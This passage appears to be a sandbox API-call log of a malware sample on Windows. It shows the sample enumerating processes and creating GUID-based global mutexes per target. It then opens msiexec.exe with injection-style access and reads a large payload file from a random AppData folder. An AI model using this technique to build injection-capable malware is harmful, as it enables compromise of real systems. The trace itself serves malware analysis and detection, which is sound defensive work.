(in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0104.991] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0104.991] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0104.992] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.993] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0104.994] CloseHandle (hObject=0x13e0) returned 1 [0104.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0105.040] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.041] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.042] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.043] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.044] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.045] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.046] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.046] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.047] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.048] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0105.049] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.050] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.051] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.051] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.052] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.053] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.054] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.055] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.055] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.056] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.057] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.058] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.059] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.060] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0105.061] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0105.061] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13d8 [0105.061] GetLastError () returned 0x0 [0105.061] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0105.061] CloseHandle (hObject=0x13d8) returned 1 [0105.061] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0105.062] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0105.062] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13d8 [0105.062] GetLastError () returned 0x0 [0105.062] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0105.062] CloseHandle (hObject=0x13d8) returned 1 [0105.062] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0105.063] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.064] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0105.064] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13d8 [0105.064] GetLastError () returned 0x0 [0105.064] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0105.064] CloseHandle (hObject=0x13d8) returned 1 [0105.064] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0105.065] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0105.066] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0105.066] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0105.067] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0105.068] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0105.069] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0105.070] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0105.070] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0105.071] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0105.072] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0105.073] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0105.074] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0105.075] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0105.076] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0105.077] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0105.078] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0105.078] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0105.079] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0105.080] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0105.081] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0105.082] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0105.082] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.083] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0105.084] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.085] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0105.086] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.086] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0105.087] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0105.088] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0105.089] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.090] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0105.091] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0105.091] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13d8 [0105.091] GetLastError () returned 0x0 [0105.091] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x65c) returned 0xef8 [0105.091] OpenProcessToken (in: ProcessHandle=0xef8, DesiredAccess=0x8, TokenHandle=0x2d5f810 | out: TokenHandle=0x2d5f810*=0x13b0) returned 1 [0105.091] GetTokenInformation (in: TokenHandle=0x13b0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2d5f780 | out: TokenInformation=0x0, ReturnLength=0x2d5f780) returned 0 [0105.091] GetLastError () returned 0x7a [0105.091] GetTokenInformation (in: TokenHandle=0x13b0, TokenInformationClass=0x1, TokenInformation=0x4720b00, TokenInformationLength=0x2c, ReturnLength=0x2d5f780 | out: TokenInformation=0x4720b00, ReturnLength=0x2d5f780) returned 1 [0105.091] GetTokenInformation (in: TokenHandle=0x13b0, TokenInformationClass=0xc, TokenInformation=0x2d5f924, TokenInformationLength=0x4, ReturnLength=0x2d5f80c | out: TokenInformation=0x2d5f924, ReturnLength=0x2d5f80c) returned 1 [0105.091] CloseHandle (hObject=0x13b0) returned 1 [0105.091] CloseHandle (hObject=0xef8) returned 1 [0105.091] GetLengthSid (pSid=0x4720b10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0105.091] OpenProcess (dwDesiredAccess=0x47a, bInheritHandle=0, dwProcessId=0x65c) returned 0xef8 [0105.092] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0105.092] GetProcAddress (hModule=0x77320000, lpProcName="IsWow64Process") returned 0x773291d0 [0105.092] IsWow64Process (in: hProcess=0xef8, Wow64Process=0x2d5eb64 | out: Wow64Process=0x2d5eb64) returned 1 [0105.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d5e388, cbMultiByte=14, lpWideCharStr=0x2d5e3e0, cchWideChar=50 | out: lpWideCharStr="Byheq\\hybe.ifi") returned 14 [0105.092] PathCombineW (in: pszDest=0x2d5e930, pszDir="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", pszFile="Byheq\\hybe.ifi" | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" [0105.092] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\byheq\\hybe.ifi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13b0 [0105.092] GetFileSizeEx (in: hFile=0x13b0, lpFileSize=0x2d5e428 | out: lpFileSize=0x2d5e428*=13422020) returned 1 [0105.092] VirtualAlloc (lpAddress=0x0, dwSize=0xcccdc4, flAllocationType=0x3000, flProtect=0x4) returned 0xa470000 [0105.093] ReadFile (in: hFile=0x13b0, lpBuffer=0xa470000, nNumberOfBytesToRead=0xcccdc4, lpNumberOfBytesRead=0x2d5e424, lpOverlapped=0x0 | out: lpBuffer=0xa470000*, lpNumberOfBytesRead=0x2d5e424*=0xcccdc4, lpOverlapped=0x0) returned 1 